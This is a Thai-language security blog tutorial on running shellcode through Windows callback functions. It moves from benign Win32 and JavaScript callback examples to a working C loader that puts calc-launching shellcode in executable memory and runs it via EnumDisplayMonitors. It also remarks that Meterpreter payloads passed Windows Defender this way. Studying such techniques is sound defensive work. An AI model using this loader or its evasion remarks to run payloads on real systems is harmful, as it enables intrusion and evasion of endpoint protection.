สวัสดีผู้อ่านทุกท่าน กลับมาพบกันอีกครั้งนะครับ ก่อนหน้านี้ผมได้ไปเห็นบทความที่พูดถึงการ Execute Shellcode ผ่านฟังก์ชัน Callback ด้วย Win32 API ซึ่งดูเป็นไอเดียที่น่าสนใจดี เป็นการมาเล่นกับรูปแบบการทำงานกับ Callback function (บทความต้นทางจะอยู่ที่ [-1] และ [0]) และยังไม่ค่อยมีคนพูดถึงกันมากนัก จึงตัดสินใจนำมาเล่าสู่กันฟัง
โดยเริ่มแรกจะมาอธิบายถึงความหมายของ 2 คำ ที่ได้เกริ่นไปก่อนหน้านี้ สำหรับคนที่ยังไม่คุ้นเคยจะได้เข้าใจได้ตรงกัน คือ
1. Shellcode คือ ส่วนของคำสั่งที่ต้องการจะให้ทำงานที่ระบบเป้าหมายเมื่อการโจมตีสำเร็จ เช่น Spawn shell, Reverse shell, Blind shell, หรือแม้กระทั่งคำสั่งบนระบบปฏิบัติการทั่วไป
2. Callback function คือ ฟังก์ชันที่จะถูกส่งไปในรูปแบบ Address ของ Callback function
ต่อมาสำหรับการเขียนโปรแกรม Win32 API จะมีโครงสร้างและรูปแบบการเรียกใช้งานซึ่งสามารถดูได้จากเว็บไซต์ของ Microsoft โดยจะยกตัวอย่างสัก 1–2 ฟังก์ชัน
ฟังก์ชันแรกจะเป็น FindWindowA ที่ใช้ค้นหา Title ของโพรเซสที่รันอยู่ซึ่งน่าจะเห็นภาพตามกันง่ายหน่อย
HWND FindWindowA(
[in, optional] LPCSTR lpClassName,
[in, optional] LPCSTR lpWindowName
);Ref: [1]
ฟังก์ชันต่อมาก็คือ MessageBox ที่ใช้สำหรับแสดง Dialog box รูปแบบต่าง ๆ ที่หน้าจอเพื่อติดต่อกับผู้ใช้งาน
[in, optional] HWND hWnd,
[in, optional] LPCTSTR lpText,
[in, optional] LPCTSTR lpCaption,
[in] UINT uType
);
Ref: [2]
ตัวอย่าง การนำฟังก์ชัน FindWindow และ MessageBox มาใช้งานร่วมกันแบบง่าย ๆ
#include <windows.h>
#include <stdio.h>
void main()
{
HWND hwnd = NULL;
char title[] = "Windows PowerShell";
hwnd = FindWindow(NULL, L"Windows PowerShell");
if (hwnd == NULL) {
MessageBox(NULL, L"Not Found", L"", MB_ICONERROR);
}
else {
MessageBox(NULL, L"Found", L"", MB_ICONINFORMATION);
}
}
การทำงาน คือ ค้นหาข้อความบน Title bar ของแอปพลิเคชันที่มีการใช้งานอยู่ และแสดง Dialog box ขึ้นมาแจ้งผล โดยตัวอย่างจะเป็นการค้นหาข้อความ Title ที่มีคำว่า “Windows PowerShell”
และภาพต่อมาจะเป็นการค้นหาข้อความ “Windows PowerShellX” ซึ่งไม่มีอยู่จริง
จากตัวอย่าง Source code และภาพด้านบนน่าจะพอทำให้เห็นภาพและรูปแบบของ Win32 API แบบคร่าว ๆ ได้มากขึ้น
ต่อมาจะเป็นตัวอย่างของการเรียกใช้งานฟังก์ชัน Callback ของภาษาอื่นอย่าง JavaScript ที่น่าจะทำให้เข้าใจ Concept ได้ง่ายขึ้น
function greeting(name) {
alert(`Hello, ${name}`);
}
function processUserInput(callback) {
const name = prompt('Please enter your name.');
callback(name);
}
processUserInput(greeting);Ref: [3]
และอีกตัวอย่างหนึ่ง คือ
const message = function() {
console.log("This message is shown after 3 seconds");
}
setTimeout(message, 3000);Ref: [4]
ตัวอย่าง การเขียน Callback บน C++ ที่ใช้ค้นหาแอปพลิเคชันที่ใช้งานอยู่
Syntax และการเรียกใช้งานฟังก์ชัน EnumWindows
BOOL EnumWindows(
[in] WNDENUMPROC lpEnumFunc,
[in] LPARAM lParam
);
โดยที่ Document ได้มีการระบุถึง Parameter ที่เป็น Callback function
ตัวอย่างการนำมาใช้งาน
#include <string>
#include <iostream>
#include <windows.h>
static BOOL CALLBACK enumWindowCallback(HWND hwnd, LPARAM lparam) {
int length = GetWindowTextLength(hwnd);
TCHAR* buffer = new TCHAR[length + 1];
GetWindowTextW(hwnd, buffer, length + 1);
std::wstring windowTitle(buffer);
std::string title(windowTitle.begin(), windowTitle.end());
if (IsWindowVisible(hwnd) && length != 0) {
std::cout << hwnd << ": " << title << std::endl;
}
return TRUE;
}
int main() {
std::cout << "Enmumerating windows..." << std::endl;
EnumWindows(enumWindowCallback, NULL);
std::cin.ignore();
return 0;
}Ref: [5]
จากตัวอย่างที่ผ่านมาจะพอเห็นภาพของการเรียกใช้งาน Win32 API และการทำงานของ Callback function ซึ่งถ้าพอคุ้นเคยหรือนึกภาพของ Call Convention บน Memory Layout ออก จะพอเข้าใจได้ว่าเมื่อใดก็ตามที่จะมีการเรียกใช้งานฟังก์ชันอื่น ที่ระบบปฏิบัติการจะต้องมีการหยอด Address ของ Callback ลงบน Memory Stack ก่อนที่ Instruction Pointer (IP) จะชี้ไปที่ Address ดังกล่าวและเข้าถึงข้อมูลที่ Address นั้น ๆ ซึ่ง Concept ที่เราจะกำลังทำนี้ คือ การใส่ Address ของ Shellcode แล้วส่งต่อเป็น Parameter ให้กับฟังก์ชันที่มีการกำหนดเรียกใช้งาน Callback function นั่นเอง
จากนั้นนำ Concept ดังกล่าวมาใช้งาน โดยได้นำ Example code มาจาก [1] (โดยที่แหล่งต้นทางจะมีการพูดถึงและอ้างอิงถึงฟังก์ชันอื่น ๆ ของ Win32 API ที่ได้รับผลกระทบแบบเดียวกันด้วย แต่ในบทความนี้จะยกตัวอย่างเพียงแค่ EnumDisplayMonitors เท่านั้น) และนำ Shellcode ที่เรียก calc.exe จาก [6] มารวมกัน สำหรับการทำงานของ Source code คือ จอง Memory และหยอด Shellcode ลงไปพร้อมกับกำหนด Permission ให้เป็น RWX
#include <windows.h>
#include <stdio.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
unsigned char op[] =
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6";
int main() {
LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, op, sizeof(op));
::EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)addr, NULL);
}
ผลที่ได้ คือ ตอนนี้สามารถที่จะเปิดโปรแกรม calc.exe แบบคูล ๆ ได้แล้ว
จากนั้นมาลองประยุกต์กับ Meterpreter ปรับแต่ง Options นิด ๆ หน่อย ก็ยังพอใช้กับ Windows Defender ได้อยู่ แต่ถ้าต้องการ Bypass Security Protection อย่างพวก AV หรือพวก EDR นั้นก็จะมีการตรวจสอบที่หลายรูปแบบ ซึ่งการทำแบบนี้ตรง ๆ โดนหมายหัวได้โดยง่าย อาจจะต้องใช้การทำงานหลาย ๆ รูปแบบมาประยุกต์อีกที
ตัวอย่าง การลองใช้ Shellcode แบบ Blind shell แทนการใช้งานแบบ Reverse shell ที่จะโดนจับได้โดยง่าย เพราะมันตรงไปตรงมานั่นเอง
บทความนี้หลัก ๆ แล้วไม่ได้มีอะไรซับซ้อนและไม่ได้หวือหวาอะไร แต่ดูเป็นไอเดียที่ดี อีกทั้งยังสามารถนำไปประยุกต์ใช้กับการเขียนรูปแบบอื่น ๆ รวมถึงนำไอเดียเหล่านี้ไปค้นหาจุดใหม่ ๆ ที่อาจจะทำงานคล้าย ๆ กันได้ หวังว่าบทความนี้จะเป็นประโยชน์ไม่มากก็น้อยนะครับ
อ้างอิง
[-1] Executing Shellcode via Callbacks (https://osandamalith.com/2021/04/01/executing-shellcode-via-callbacks/)
[0] Running Shellcode Through Windows Callbacks (https://marcoramilli.com/2022/06/15/running-shellcode-through-windows-callbacks/)
[1] FindWindowA function (https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-findwindowa)
[2] MessageBox function (https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox)
[3] Callback function (https://developer.mozilla.org/en-US/docs/Glossary/Callback_function)
[4] JavaScript Callback Functions — What are Callbacks in JS and How to Use Them (https://www.freecodecamp.org/news/javascript-callback-functions-what-are-callbacks-in-js-and-how-to-use-them)
[5] How can I get EnumWindows to list all windows? (https://stackoverflow.com/a/51731567)
[6] Windows/x64 — Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes) (https://www.exploit-db.com/shellcodes/49819)
[7] Calling Conventions Hakim Weatherspoon CS 3410 Computer Science Cornell University (https://www.cs.cornell.edu/courses/cs3410/2019sp/schedule/slides/10-calling-notes.pdf)